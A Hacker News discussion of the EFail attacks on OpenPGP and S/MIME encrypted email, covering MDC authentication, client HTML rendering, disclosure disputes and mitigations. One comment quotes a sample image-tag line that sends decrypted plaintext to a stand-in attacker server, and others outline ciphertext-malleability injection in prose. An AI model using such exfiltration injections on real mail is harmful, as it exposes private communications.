48 ms·

EFail – Vulnerabilities in end-to-end encryption technologies OpenPGP and S/MIME

718 points by Foxboron 8y ago

Promarged 8y ago
The bug would work only if all of these are true: - only-encrypted (not signed) message (signing is good practice), - clients that do not do MDC (MDC was introduced in 2000, every non-prototype client uses it) - client that rendered HTML mail with broken markup, - client that automatically fetches remote resources. tl;dr this is a very narrow case
- jwilk 8y ago
  It doesn't matter if the message was signed or not: https://efail.de/#will-signatures https://efail.de/#will-signatures
- A1kmm 8y ago
  > only-encrypted (not signed) message (signing is good > practice), Or the client decrypts it even if unsigned, or the attacker signs the message. > clients that do not do MDC (MDC was introduced in 2000, every non-prototype client uses it) I think the client would not only need to use MDC, but also enforce its presence and validity, which is somewhat more likely to allow an attack. > client that rendered HTML mail with broken markup, The HTML5 specification defines exactly how HTML inputs should be processed for nearly every possible input, so this applies to any HTML5 compliant email client. > client that automatically fetches remote resources I have this turned off in my client, but many email users these days (possibly even those using GPG) have settings to automatically download remote content.
dimastopel 8y ago
Robert Hansen just sent the following email to the gnupg-users list: to GnuPG-Users [taps the mike] Hi. I maintain the official GnuPG FAQ. So let me start off by answering a question that is certainly about to be asked a lot: "Should we be worried about OpenPGP, GnuPG, or Enigmail? The EFF's advising us to uninstall it!" https://www.eff.org/deeplinks/2018/05/attention-pgp-users-new-vulnerabilities-require-you-take-action-now https://www.eff.org/deeplinks/2018/05/attention-pgp-users-ne... Werner saw a preprint of this paper some time ago. I saw it recently. Patrick Brunschwig of Enigmail saw it. None of us are worried. Out of respect for the paper authors I will skip further comment until such time as the paper is published. It would've been nice if EFF had reached out to us for comment, rather than apparently only talking to the paper authors. We hope they'll reach out next time.
- patoh 8y ago
  Werner Koch goes into further detail at the start of the gnupg-users thread @ https://lists.gnupg.org/pipermail/gnupg-users/2018-May/060315.html https://lists.gnupg.org/pipermail/gnupg-users/2018-May/06031...
  - sambe 8y ago
    I'm reading this message with little context but it doesn't strike me as having reasons not to be worried. The two suggestions are: a) not to use HTML emails, which seems unlikely in practice; b) to use an obscure-sounding mode which has been implemented in such a way as to depend on the MUA doing multiple things correctly after the GPG code runs. What am I missing here? Is the latter mode on by default and MUA are widely known to correctly deal with the error code in a secure way?
    - klez 8y ago
      > not to use HTML emails, which seems unlikely in practice In a context where pgp is used, which is not me receiving promotional material or forwards from Grandma, why do you consider it unlikely that mail is to be sent as plaintext and not as html?
      - deong 8y ago
        Almost every email client defaults to HTML. There are going to be people using both encryption and HTML.
        e12e 8y ago
        The idea that you can combine full hypertext and security is absurd. IMNHO this is the most significant problem with email (and many "secure" messaging stacks that allow "rich content"). Sure, it's possible to define a secure subset of html (basically bold/italics/underline, tables and headers). But everyone adds transclusion (in-line rendering of linked content, which leaks data and opens up the door to bugs), fonts (ie: programs), images (historically not a great idea), and some even Javascript! And that's not even all the muas that runs in the browser, and try to expose some safe subset of itself to be used for rendering the mail body. So, html Email is insecure, when contrasted with plain text email. Using pgp as "code signing" for hypertext applications ("html emails") isn't nearly enough. Sadly, afaik there's no agreed "safe" rich text format for mail. Absurdly rtf would probably be better than html mail. Anyway, I don't see how anyone could expect html mail to be safe in the first place.
ipioxu15 8y ago
Also discussed here: https://news.ycombinator.com/item?id=17063109 https://news.ycombinator.com/item?id=17063109
egeozcan 8y ago
If I understood correctly, I think this can be prevented by a single configuration change: "Do not automatically load inline content" but this is just speculation. I'd disable HTML rendering completely until everything becomes clearer.
- gant 8y ago
  Pretty much. Should have that as default anyway to avoid sending tracking beacons to spammers.
- Tepix 8y ago
  Yes, I think that's the default pretty much everywhere for obvious reasons. Of course some people configure exceptions for people in their address book, this could then be exploited by this issue.
- dbrgn 8y ago
  In the explanation of Table 5 in the paper (page 21), there's a list of attack vectors with the title "HTML attributes (bypasses for remote content blocking)". So apparently some of these attributes do bypass the inline content blocking on some mail clients, unless I read that wrong. It's important to note that most e-mail clients will use a webview to render e-mail. Blocking all kinds of remote content requires the developers to be really careful, and also probably violates the HTML spec. I tried to replicate the Thunderbird attack vector (H₂), but at least in the current version (52.7.0) it seems that the URL is not requested. Maybe that has been fixed in the meantime but was present in an older version? Disabling HTML rendering for now is probably the safest choice. There's not much that can go wrong when rendering a plaintext e-mail. (Edit: Added a sentence regarding webviews)
oblio 8y ago
While HTTPS is taking over web traffic, encrypted email could be considered a failure, at this point. I wonder what percentage of emails are encrypted using GPG. Based on my experience it's probably less than 0.001%.
- zaarn 8y ago
  E-Mail needs better tools and better standards than GPG IMO. For one, GPG tools are difficult to use. Anything beyond a simple 1-click-setup-ready-to-use-including-keyserver-publication will make any wide market adoption difficult. On the other, the GPG standard is a bit ... clunky. Ideally it should be modernized to take advantage of the email format; add generic messages about encryption in alternate mime content bodies and simply encode the encrypted messages into it's own. I imagine other, similar, improvements could be made, up and including having GPG also sign the email headers before pushing it out into the world.
  - AnaniasAnanas 8y ago
    GPG is not a standard, the standard is OpenPGP. As for the tools, they seem very easy, especially engimail which IS 1-click setup. > add generic messages about encryption in alternate mime content bodies and simply encode the encrypted messages into it's own This is exactly what it is doing. PGP/MIME is a thing.
    - zaarn 8y ago
      Enigmail is far from friction free and no 1-click setup. I still have to go through key generation last I checked. And then publish those keys or give them to friends. If PGP/GPG wants adoption they need to eliminate those friction points, a TOFU model with automatic key redistribution should lower friction sufficiently but except TOFU there isn't much development in that direction. >This is exactly what it is doing. PGP/MIME is a thing. I don't think I ever received a single PGP/MIME email. I don't think a lot of people use PGP/MIME. It's a niche setting for a niche software.
      - 8y ago
simias 8y ago
So they gave up on the embargo or something? I thought it was supposed to be revealed tomorrow. It's for the best I suppose. I cringed a bit at the custom "efail.de" domain name though, that's so 2017.
- adsche 8y ago
  They claim their embargo was "broken" [1]. Maybe by this tweet [2] from GnuPG trying to clarify in what way PGP/GPG are "vulnerable." [1] https://twitter.com/seecurity/status/995964977461776385 https://twitter.com/seecurity/status/995964977461776385 [2] https://twitter.com/gnupg/status/995931083584757760 https://twitter.com/gnupg/status/995931083584757760
codezero 8y ago
Has anyone seen a tool that will go through a mailbox and check for this attack? I'm really curious if anyone can find an example of this in the wild before publication.
tazjin 8y ago
This hardly seems like an OpenGPG or S/MIME vulnerability to me and more like an XSS-like exploit of email clients.
- maxerickson 8y ago
  The encryption system should be saying "BAD MESSAGE" to the client and instead it is saying "Here's the message and some malware".
  - jerf 8y ago
    I disagree. The encryption system should not know about HTML, and these messages are "BAD MESSAGE"s even if they are unencrypted. That clearly points at the mail client, not the encryption layer.
    - maxerickson 8y ago
      Both things are problems. The encryption system should definitely be communicating that the message was tampered with...
      - jerf 8y ago
        Well, again, the encryption system will. Or at least it can. (Apparently you can encrypt without signing? WTF use is that? But let's assume signatures are used.) The MIME structure of email is the problem here. It isn't OpenPGP's problem to solve, which we know because there is literally no way for them to solve it. No conceivable (sensible[1]) update to OpenPGP could fix the problem, so it can't be their responsibility. [1]: I mean, yeah, they could ship something that hacks the Thunderbird process and gets the rest of the email, but that's just crazy talk. Nothing that has a sensible API that fits with what Thunderbird is doing now can solve the problem.
        tazjin 8y ago
        > Apparently you can encrypt without signing? WTF use is that? Sending a message without identifying the author, for example.
cromwellian 8y ago
I see how this can be used to exfiltrate an email you’ve sent to others, but th exploit doesn’t seem to show how to exfiltrate private emails between other parties. I mean, it’s an interesting bug, but since the only I can exfiltrate is the contents of plaintext I sent you in the same exploit then it doesn’t seem to leak anything other than any HTML email does. Am I missin something?
- geocar 8y ago
  Sure. Assume you're a state-actor who wants to read someone's email. You can force their ISP to add code to their SMTP server that adds an efail-pixel jacket, but you can't force them to turn over the customer keys.
  - cromwellian 8y ago
    Ah ok, I see, it’s kind of a replay attack. Seems like SMIME itself is broken because it doesn’t do whole message integrity.
- onlydnaq 8y ago
  If I want to decrypt a message to you that I have intercepted I can create my own email containing a modification of the intercepted message and send it to you, causing you to send me the plaintext contents.
  - usrusr 8y ago
    That's my understanding as well. Someone could try to make your email client img-src-get the plaintext of previously intercepted mails to a remote server, but it would be a very "noisy" attack: your typical PGP user would very quickly fall into a panic if they received all their old encrypted mail again, and for some reason the client would constantly beg for external image downloads in apparently plain text mails.
mehrdadn 8y ago
Tangent: Is it just me or does CBC (and block ciphers in general) always seem to be a troublemaker? Even if it's not directly at fault, it seems to always make everything more difficult to secure, and I don't recall ever having heard of a single benefit gained by using them. Why do people insist on using block ciphers instead of stream ciphers? What benefits do they have?
- rocqua 8y ago
  I heard once that people didn't like the regularity of the input of CTR mode. That might be why people back in the day preferred CBC. These days, the big downside to stream-ciphers is nonce-reuse. It can be hard to guarantee each message has a separate nonce on e.g. embedded platforms.
  - mehrdadn 8y ago
    How can embedded platforms generate IVs but face trouble generating nonces? Aren't IVs also nonces? Or do you mean a different aspect of it is the problem?
    - consp 8y ago
      In this case (cbc) the IV is the nonce though for some kind of reason people like to mix words and make everyone's life more difficult. As far as I have encountered, almost always the word nonce applies to some randomization and IV is basically the first data into the system, even if it is not random. Since most embedded platforms have limited entropy and/or no hardware RNG it is more difficult to generate proper distinctive, unpredictable iv's (in the case of CBC). If most of the nonce is random and the rest predictable (like GCM) the same problem applies. The nonce for GCM for instance is at least 8 bytes random in most implementations. There are enough ways to generate sufficiently randomized iv's. People just don't bother usually. (guess 0 as an iv for instance on many embedded systems).
      - griffinmb 8y ago
        I think the issue is more that nonce reuse with stream ciphers like GCM result in a more catastrophic failure (i.e. secret key disclosure), whereas reusing the IV with CBC will only disclose whether some plaintext was encrypted multiple times. In an embedded platform where there is no easy way to ensure a nonce is not reused, the potential info disclosure may be preferable.
AnaniasAnanas 8y ago
To be honest, this is a really bad joke. Not only did they chose to go directly to the media/EFF without even informing the GPG people but they also attacked them[1] for not keeping quiet. Not to mention all the fud that was spread for an issue that is not even caused by GPG but by bad clients (in fact I am not aware of any client that is vulnerable to this). Shame both to the publishers of this and to the EFF for helping the spread of the FUD without even consulting the GPG people. [1]: https://twitter.com/seecurity/status/995936859980222464 https://twitter.com/seecurity/status/995936859980222464
- AnaniasAnanas 8y ago
  Also, the second attack seems quite similar to https://eprint.iacr.org/2005/033.pdf https://eprint.iacr.org/2005/033.pdf.
  - tptacek 8y ago
    It's not. The MDC-stripping attack on PGP is very well known --- it's obvious from the structure of the protocol. The paper you're citing uses it to build a direct plaintext recovery attack similar to a padding oracle. Today's paper uses ciphertext malleability to inject active content that exfiltrates the plaintext.
- AnaniasAnanas 8y ago
  Also relevant https://lists.gnupg.org/pipermail/gnupg-users/2018-May/060320.html https://lists.gnupg.org/pipermail/gnupg-users/2018-May/06032...
  - jwilk 8y ago
    This seems to contradict the earlier claim that "the GnuPG team was not contacted by the researchers".
    - Foxboron 8y ago
      It however confirms that the OpenPGP devs had no knowledge of an embargo, and thus didn't break any embargo. Sebastian Schinzel claimed they had to publish early because the embargo broke.
fabian2k 8y ago
From what I've read, I thought that in modern cryptographic methods you always authenticate and encrypt, in part to avoid attacks like this where an attacker can modify the encrypted message in some way. Does this mean that GnuPG and S/MIME don't authenticate/sign encrypted messages at all? Or that email clients still try to display encrypted messages that are not properly authenticated?
- AnaniasAnanas 8y ago
  OpenPGP does have a way to authenticate the messages, see https://tools.ietf.org/html/rfc4880#section-5.13 https://tools.ietf.org/html/rfc4880#section-5.13.
  - dewyatt 8y ago
    Also tag 20 is the newer AEAD method: https://tools.ietf.org/html/draft-ietf-openpgp-rfc4880bis-04#page-60 https://tools.ietf.org/html/draft-ietf-openpgp-rfc4880bis-04...
    - AnaniasAnanas 8y ago
      Thanks for that, I was not aware of the draft. It seems that they provide support for OCB and EAX. I would prefer support for chapoly to be honest.
- deleted 8y ago
  [deleted]
- baby 8y ago
  Yup, they don't authenticate encrypted mails.
FrantaH 8y ago
"To decrypt the emails, he first manipulates their ciphertext by using appropriate malleability gadgets." - so if you use triple wrapping as per https://www.ietf.org/rfc/rfc2634.txt https://www.ietf.org/rfc/rfc2634.txt you are safe. e: To make the claim more precise: you must drop messages which are not triple wrapped and those which are triple wrapped, but inner signer is different from the outer signer.
foo101 8y ago
From the original article: > EFAIL describes vulnerabilities in the end-to-end encryption technologies OpenPGP and S/MIME that leak the plaintext of encrypted emails. I don't understand how this is being touted as vulnerabilities in OpenPGP and S/MIME. Sure there is undefined behavior in the OpenPGP and S/MIME standards but if implementations choose an insecure behavior for the undefined behavior, then it is a flaw in the implementation, not the standard.
- giancarlostoro 8y ago
  It's been mentioned by other comments here[0] that the team / group / individual(s) behind this paper didn't even contact the underlying development teams prior to publishing. The whole thing looks like they want to be able to say "yeah we uncovered xyz vulnerability" which they kind of could of, if they had just explained it's relevant to implementation and didn't attack the wrong projects in the process. There seems to be some level of unprofessional conduct[1] coming from the people writing the paper as well where they attack the projects on Twitter to try and silence them when their claims are refuted. [0]: https://news.ycombinator.com/item?id=17064360 https://news.ycombinator.com/item?id=17064360 [1]: https://twitter.com/seecurity/status/995936859980222464 https://twitter.com/seecurity/status/995936859980222464 (Note: I'm reiterating / summarizing the findings of AnaniasAnanas from here.)
  - tptacek 8y ago
    This is false, and you should be embarrassed to have repeated it publicly. If you'd even taken the time to look at the Efail.de website, you'd see the (extensive) timeline of contacts the Ruhr team made, including liasing with CERT teams, starting last year.
- Dylan16807 8y ago
  The use of CBC without proper authentication sounds like a flaw in the standard to me. Especially the line in the FAQ about being able to create a fresh valid signature for an altered ciphertext is not good.
  - 8y ago
tonetheman 8y ago
Does every attack now get some type of catchy name? It feels like when the weather channel randomly said they would start naming storms too.
mkj 8y ago
Huh, PGP encrypted messages aren't authenticated? (No HMAC etc)
- deleted 8y ago
  [deleted]
- consp 8y ago
  Most clients incorporate Authenticated Encryption but since some don't work well with it, it is not a decrypt failure if not present. It should be and solves the problem as per what Koch said [1]. [1] https://lists.gnupg.org/pipermail/gnupg-users/2018-May/060315.html https://lists.gnupg.org/pipermail/gnupg-users/2018-May/06031...
- A1kmm 8y ago
  If I have your key, I can send you an encrypted GPG message, without you needing to know who am, or for any kind of message from you back to me. HMACs require a shared secret. GPG does optionally support signing, which provides for integrity for message contents, but it is optional, so is not a useful mitigation here. It supports a Modification Detection Code (MDC), which is just a hash of the message. In scenarios where GPG won't decrypt without an MDC being present, it would be a reasonable defence against this attack, because to generate a valid MDC, you would need to know the entire contents of the message, and if you know the entire contents of the message, you wouldn't gain anything from this attack.
  - CiPHPerCoder 8y ago
    > If I have your key, I can send you an encrypted GPG message, without you needing to know who am, or for any kind of message from you back to me. HMACs require a shared secret. No, they don't. I described a naive RSA+AES hybrid cryptosystem here that includes HMAC authentication without a pre-shared key: https://paragonie.com/blog/2018/04/protecting-rsa-based-protocols-against-adaptive-chosen-ciphertext-attacks https://paragonie.com/blog/2018/04/protecting-rsa-based-prot...
  - floatboth 8y ago
    > optional, so is not a useful mitigation here Why in the heck does anyone ever send encrypted-only, non-signed messages?!?!
deleted 8y ago
[deleted]
Kenji 8y ago
That's an incredibly weak vulnerability. HTML images, seriously? Who the hell autoloads HTML images in email in 2018? If you don't autoload images, you're safe - so for example on Thunderbird, everyone is safe by default. This is not a big deal at all.
kennell 8y ago
As if a brand name, logo and website were not enough, even the white paper title is cringy clickbait: "Efail: Breaking S/MIME and OpenPGP Email Encryption using Exfiltration Channels". OpenPGP is not broken. Nothing in your paper has anything to do with OpenPGP. This is simply spreading overblown FUD for your 15 minutes of mainstream media fame.
- simias 8y ago
  I don't even understand why they needed to tease the thing one day in advance with measures that were so weird that nobody knew what to expect. "Stop decrypting email", right, super convenient and totally appropriate given the actual vulnerability. Next time maybe they'll say "don't touch your mouse until further notice". What difference would it have made if they had simply published this website straight away? Seemed like they were releasing the teaser for the next Captain America movie or something. This reminds me a bit of the "amdflaws" debacle, although that one was even shadier and might have been an attempt at manipulating AMD's stock price.
  - mtremsal 8y ago
    The comparison with amdflaws seems unfair. My understanding is that while they demonstrate a flaw in some email clients, it would be enough for an attacker to exploit one vulnerable target amongst the recipients to retrieve the plaintext email. Given that one cannot confirm whether others have taken appropriate steps, this vulnerability seems serious enough, no?
    - simias 8y ago
      The amdflaws were real vulnerabilities too. The problem in both cases is that they messed up the disclosure so badly (in the case of amdflaws probably purposefully, here probably simply by mistake and maybe hubris) that you end up talking more about the disclosure than the problem itself. This one day "teaser" makes no sense from a security perspective, especially when it fails to actually tell you the proper way to mitigate the attack (no, "do not use PGP or S/MISE" is not a reasonable mitigation for people who actually rely on these technologies, especially when you can mitigate the attack by changing your settings or using a different client). Saying that PGP and S/MIME themselves are broken when it's mainly (but not entirely) a MUA problem is also rather disingenuous.
Sir_Cmpwn 8y ago
Even setting aside that this is an excellent example of how toxic the security community is, the real problem here is that HTML email is a steaming pile of crap. The number of vulnerabilities introducted by the mind bogglingly stupid idea of putting HTML in emails is staggering. You're better off only reading plaintext emails and sending the rest to /dev/null. Bonus: this gets a good deal of spam out of your inbox!
- colemannugent 8y ago
  Yeah, whoever thought that adding the attack/bug surface of a browser to the email client should be publicly shamed. I assume that aerc like mutt is not affected by this "vulnerability"?
  - Tyr42 8y ago
    Yeah, mutt is safe https://pbs.twimg.com/media/DdJ_d_wWsAEclUs.jpg:large https://pbs.twimg.com/media/DdJ_d_wWsAEclUs.jpg:large
    - dmix 8y ago
      And the K-9 app seems safe which is the most popular way to use PGP on Android.
      - e12e 8y ago
        If true, that's great news. There are plenty of decent cli/desktop clients that make it easy to avoid html mail. Not so for Android, where apps seem likely to wrap some rich content control in order to render text (as html).
  - Sir_Cmpwn 8y ago
    Aye.
deleted 8y ago
[deleted]
noguespi 8y ago
A lot of buzz for a not so critical vulnerability. Well it is critical but very hard to exploit because : 1. Hacker need to intercept the encrypted email. 2. HTML tags/remote content are blocked by default on most email client. Still an important vulnerability, but not enough (for me) to disable enigmail, I know I'm safe with blocked remote content. By the way I hate this kind of "buzz" disclosure. Just disclose fully or wait.
- middleclick 8y ago
  > I know I'm safe with blocked remote content. Curious, how?
  - noguespi 8y ago
    Because the vulnerability is just about adding HTML tags which will send decrypted content to a remote server controlled by attacker. Example : <img hxxp://hacker-server.com/--ENCRYPED CONTENT HERE-- If you disable remote content, it can't be exploited on thunderbird (which is disabled by default) BUT there may be other attack vector on other software/email client. Anyway, the attacker still need to get a hand on your encrypted email.
    - dbrgn 8y ago
      What about attack vectors like this one (from the paper)? For example, in Thunderbird and Postbox we can completely redress the UI with CSS and trick the user into submitting the plaintext with an HTML form if he clicks somewhere into the message. That sounds like something that can easily happen, even with remote content disabled. (Edit: Formatting)
      - middleclick 8y ago
        Wouldn't disabling HTML email take care of this?
        8y ago
baby 8y ago
Matt Green gave a pretty good summary of this: https://twitter.com/matthew_d_green/status/995989254143606789 https://twitter.com/matthew_d_green/status/99598925414360678... Some of these thoughts are echoed by Filippo: > No, in 2018 you don’t get to claim the high ground and blame users and implementations if your crypto API returns the plaintext on a decryption error. from https://twitter.com/FiloSottile/status/996010161427935233 https://twitter.com/FiloSottile/status/996010161427935233 So yeah, most clients seem vulnerable but since the command line utility that pretty much no lambda users use is not broken HN is saying that this is a joke? As for contacting the PGP team, I've tried reaching out Werner Koch many time for a vuln in libgcrypt without success. That was 2 years ago, the vuln is still there.
- aepiepaey 8y ago
  So what would you expect GPG to do when invoked to operate on a pipe (rather than a file¹)? Buffer (possibly) gigabytes of decrypted data in memory, just to be able to discard it once DECRYPTION_FAILED is detected? ¹: where GPG does the right thing
  - tptacek 8y ago
    Yes. It has one job!
  - Xylakant 8y ago
    Aren’t modern ciphers checksummed and authenticated blockwise? If so, you could just abort the moment you see a broken block. Anything before that block would not be under the attackers control and harmless.
    - tptacek 8y ago
      Modern AE schemes are designed to make it easy to quickly abort the whole decryption operation as soon as an error is detected. But the PGP protocol is from the 1990s, and uses vanilla CBC or CFB and then tacks the SHA-1 hash of the plaintext to the end of the message in a separate record.
titzer 8y ago
Is this vulnerability seriously due to improperly escaped (quoted) inputs? Correct me if I am wrong, but FFS.
- jcranmer 8y ago
  Pretty much. This is the big fail of MIME, that literally concatenating different sections together into one document is the intended way of implementing much of multipart handling.
_bxg1 8y ago
The fact that emails can contain images and active HTML has caused a slurry of security problems over the years. Let me tell you, if my emails were sensitive enough to require PGP, I would also use an email client which does not load images or evaluate HTML by default.
- acdha 8y ago
  > Let me tell you, if my emails were sensitive enough to require PGP, I would also use an email client which does not load images or evaluate HTML by default. This approach requires too much diligence for most cases: people will forget to switch to the encrypted system, they won’t have a key / it’s expired because they don’t use it regularly, the software will remain horrible because nobody uses it, etc. Encryption needs to be enabled and usable by default if you don’t want a regular stream of human error.
testcross 8y ago
Even protonmail says the authors were not responsible by letting EFF communicating so strongly... https://mobile.twitter.com/ProtonMail/status/996006094605570048 https://mobile.twitter.com/ProtonMail/status/996006094605570...
- jwilk 8y ago
  Non-mobile link: https://twitter.com/ProtonMail/status/996006094605570048 https://twitter.com/ProtonMail/status/996006094605570048
gepeto42 8y ago
Encryption plugins on top of other mail clients has always been a recipe for disaster. That being said, why would EFF tell people to completely uninstall it? When I hear that, I think "There is a crazy, in the wild, no user interaction needed remote code execution vulnerability". If someone had a use for PGP/GPG email (assuming they understand the threat model and the metadata that is not encrypted), surely they're better off with a buggy version that with pure cleartext?
- deong 8y ago
  I believe the recommendation is to use something like Signal or iMessage -- an end-to-end encrypted channel that isn't email.
  - gsnedders 8y ago
    And which have perfect forward secrecy, which PGP will never have without adding some new per-message communication between the two parties (which would totally violate the layering on top of email).
- bscphil 8y ago
  Surely, telling users to uninstall it was a temporary measure until they can be certain that the bug is fixed. Without it removed, there was a risk that users could be quickly targeted with previously captured replayed messages and if their clients automatically decrypt then it would in fact be a disclosure vulnerability with no user interaction needed.
fouc 8y ago
TIL: I should be using Mutt.
tc 8y ago
Let's summarize the situation: Abstract: S/MIME and MUAs are broken. OpenPGP (with MDC) is not, but clients MUST check for GPG error codes. Use Mutt carefully or copy/paste into GPG for now. - Some mail clients concatenate all parts of a multipart message together, even joining partial HTML elements, allowing the decrypted plaintext of an OpenPGP or S/MIME encrypted part to be exfiltrated via an image tag. Mail clients shouldn't be doing this in any world, and can fix this straightforwardly. - S/MIME (RFC 5751) does not provide for authenticated encryption, so the ciphertext is trivially malleable. An attacker can use a CBC gadget to add the image tag into the ciphertext itself. We can't expect a mail client to avoid exfiltrating the plaintext in this case. S/MIME itself needs to be fixed (or abandoned). - OpenPGP (RFC 4880) provides for authenticated encryption (called "MDC", see sections 5.13 and 13.11 of the RFC) which would prevent a similar CFB-based gadget attack if enforced. GPG added this feature in 2000 or 2001. If the MDC tag is missing or invalid, GPG returns an error. If GPG is asked to write the plaintext as a file, it will refuse. When the output is directed to a pipe, it will write the output and return an error code [1]. An application such as an MUA using it in this manner must check for the error code before rendering or processing the result. It seems this requirement was not made clear enough to implementors. The mail clients need to release patches to check for this error. This will create an incompatibility with broken OpenPGP implementations that have not yet implemented MDC. - Even without clients enforcing or checking the authentication tag, it's a bit trickier to pull off the attack against OpenPGP because the plaintext may be compressed before encryption. The authors were still able to pull it off a reasonable percentage of the time. Section 14 of RFC 4880 actually describes a much earlier attack which was complicated in this same manner; it caused the OpenPGP authors to declare decompression errors as security errors. Net-net, using encrypted email with Mutt is safe [2, Table 4], though even there, opening HTML parts encrypted with S/MIME in a browser is not, and double-checking how it handles GPG errors would be prudent before forking a browser on any OpenPGP encrypted parts. See the paper for other unaffected clients, including Claws (as noted below) and K-9 Mail (which does not support S/MIME). Otherwise, it's probably best to copy and paste into GPG (check the error code or ask it to write to a file) until this is worked out. [1] https://lists.gnupg.org/pipermail/gnupg-users/2018-May/060315.html https://lists.gnupg.org/pipermail/gnupg-users/2018-May/06031... [2] https://efail.de/efail-attack-paper.pdf https://efail.de/efail-attack-paper.pdf
kbumsik 8y ago
> The EFAIL attacks require the attacker to have access to your S/MIME or PGP encrypted emails. So the attacker needs to intercept email, but how they can access it?
tptacek 8y ago
This is the worst reaction to a serious and interesting vulnerability I think I've ever seen on HN. The problem being exploited today is that PGP isn't properly authenticated. PGP has an authenticator, but it's simply the SHA-1 of the plaintext appended to the message. Since even that SHA-1 was a later addition to the protocol, mainstream PGP implementations will process messages that lack the hash and decrypt the message. This is broken: a basic property of modern authenticated cryptography is not to present plaintext to the caller until integrity is checked. There are modern AEAD constructions that go through contortions to obtain that property. The attack is trivial and obvious in retrospect. Attackers strip off the SHA-1 authenticator of a message and then flip bits in the ciphertext to inject HTML that, when rendered, exfiltrates plaintext. The GPG project objects to the way this attack is characterized. If you strip the SHA-1 hash off a message, GPG will print a warning. But popular mainstream GPG clients don't honor that warning, which doesn't say "Stop, don't process this plaintext I am showing you", but rather "message was not integrity protected". The fact is, there isn't 1 cryptography engineer in 10 that knew exactly what GPG's behavior with a stripped MDC was or how they should check for it. This is, to me, an almost perfect analog of the event where it was revealed that the curl API didn't check TLS certificates on CURL_SSL_VERIFYHOST=1, but that was OK because the man page said you should use CURL_SSL_VERIFYHOST=2 if you wanted checking. Sure, programming languages cast "true" to 1, and there was literally no meaningful distrinction between 0 and 1 in curl's design, and, sure, dozens of applications were made insecure by that design decision, but, really, it's in the man page, so they should have known better. Is "don't render plaintext when an MDC isn't present in the message" in the GPG man page? Other people object because this exploit depends on HTML email to function. It's a vulnerability with HTML email readers, not PGP! That's an even dumber objection. It is precisely analogous to the argument that BEAST and CRIME and Lucky13 weren't vulnerabilities in TLS, because, after all, they depended on browser HTTP behavior in order to function. The right thing for GPG to have done was to not render plaintext at all if a valid MDC wasn't included in the message. To provide for compatibility and diagnostics in the vanishingly rare cases where it would be needed, they could have had a flag to restore the current insecure behavior. But, like curl, they did the opposite of the right thing, and now they're blaming downstream while implicitly doubling down on their own broken behavior. Not encouraging. Finally: several people, including the GPG project apparently, are claiming that the researchers behind this work didn't reach out to them. But Werner Koch himself said that the researchers reached out on November 24th of last year. This is a shitshow, but it's also probably going to be the best crypto attack of the year. Be careful dismissing it; I think that won't be a good look in the long run.
eyeareque 8y ago
If you use a Mac without in client decryption, you’re fine. Also, if you use little snitch, you’d catch the request going out if it was hosted on a site you haven’t white listed. Also, who allows image loading by default? Disable this if you haven’t yet. Spammers abused this for tracking a long time ago.
arca_vorago 8y ago
One more reason to stop using html emails people...
- dane-pgp 8y ago
  People would be more secure if the web didn't use HTML too (or certainly if it didn't have JavaScript), but trying to convince users not to like features of their software has never been a very productive security strategy.
jolmg 8y ago
Were the development teams of Apple Mail, iOS Mail and Mozilla Thunderbird contacted about this and given time to fix their issues before publication? The page makes no mention of this. It makes it look that this wasn't disclosed responsibly.
- EthanHeilman 8y ago
  >It makes it look that this wasn't disclosed responsibly. Not sure how anyone could say if the disclosure was or was not responsible based on who got advanced warning. Full-disclosure, i.e. all details without any prior warning, can be responsible disclosure. Coordinated disclosure, i.e. providing advanced warning, can be less responsible than full disclosure. It depends on the circumstances and surrounding context.
  - jolmg 8y ago
    That might be true in general, but for this particular case, it would seem like it'd be irresponsible to disclose without giving advanced warning to the email client developers. We're talking about giving the chance for journalists, political activists, etc. to be protected from this bug via a typical, routine software update without having to know about the bug before their potential attackers. If the vulnerability is still on, it's now a race on who'll learn the news first, the potential attackers to exploit it or the potential victims to avoid it.
schadom 8y ago
So firewalling eg. Apple Mail with some personal firewall like LittleSnitch to allow only SMTP/IMAP/POP3 for outbound connections should easily mitigate the issue.
beders 8y ago
Isn't that a failure to implement MIME parsing correctly? The moment the MIME parser sees the BOUNDARY string, the part is finished. Then the content can be decoded and parsed, which is invalid HTML. Parsing MIME parts is not black magic.
ddtaylor 8y ago
What I'm taking away from this as a security researcher is that how you package the argument really matters. Heartbleed showed us that you need to have some PR savvy if you expect to get people to understand the impact of your research, but likewise this shows us that if you're not careful it can backfire. If these guys would have released it with very slightly different wording there wouldn't be as much backlash in this thread and arguing over semantics.
aleks_me2 8y ago
I have read the statement on eff https://www.eff.org/deeplinks/2018/05/not-so-pretty-what-you-need-know-about-e-fail-and-pgp-flaw-0 https://www.eff.org/deeplinks/2018/05/not-so-pretty-what-you... and can't think about that this is a PR for Signal. I assume that signal will start some e-mail services soon and try now to shade the current mostly safe communication tools in bad light. I hope I'm wrong, the future will it shows. It would be interesting to know if the https://darkmail.info/ https://darkmail.info/ initiate is still active. As far as I understand this solution are the metadata also invisible at the transport level. Can anyone shade a light on this?
craigphicks 8y ago
The EFAIL is particularly effective because it can surround every whole encrypted block B with chosen encrypted binary to yield ABC which decrypts to "...<img src="...[plaintext of b]...">. Yet it also has the limitation that it cannot further divide the encrypted block B. Also, EFAIL depends upon plaintext of B being part of and HTML attribute value. Attribute values have a choice of only three final delimiters: doublequote (") singlequote (') and space ( ). So if every plaintext that is encrypted as a single block is prefaced by those three characters, then EFAIL cannot what comes after those characters. (Call it an obfuscation string). Play round with this sandbox https://try.jsoup.org/%7E_nyXks5PuAs-zJeek8CVhpuAvtI to see how that works. I've written in more detail at A Solution for Sending Messages Safely from EFAIL-safe Senders to EFAIL-unsafe Receivers https://github.com/craigphicks/efail-safe-send-to-insec-recv/wiki The thing about new EFAIL reading-safe versions that somehow force or Strongly! advise to use MDC is that some readers won't update for years. And that becomes the problem of the sender when their messages are exfiltrated. Only if the message format is changed so that old readers can't read new messages ... but there are obvious drawbacks to that. That's why I think this sender-safe solution, even if its a bit ugly, is worth considering. Any implementation would have to be close to the encryption module, to avoid any mistakes aligning the obfuscation string with the encryption boundary start, actively checking that alignment is correct.

718 points by Foxboron 8y ago

The bug would work only if all of these are true: - only-encrypted (not signed) message (signing is good practice), - clients that do not do MDC (MDC was introduced in 2000, every non-prototype client uses it) - client that rendered HTML mail with broken markup, - client that automatically fetches remote resources. tl;dr this is a very narrow case

jwilk 8y ago
It doesn't matter if the message was signed or not: https://efail.de/#will-signatures https://efail.de/#will-signatures
A1kmm 8y ago
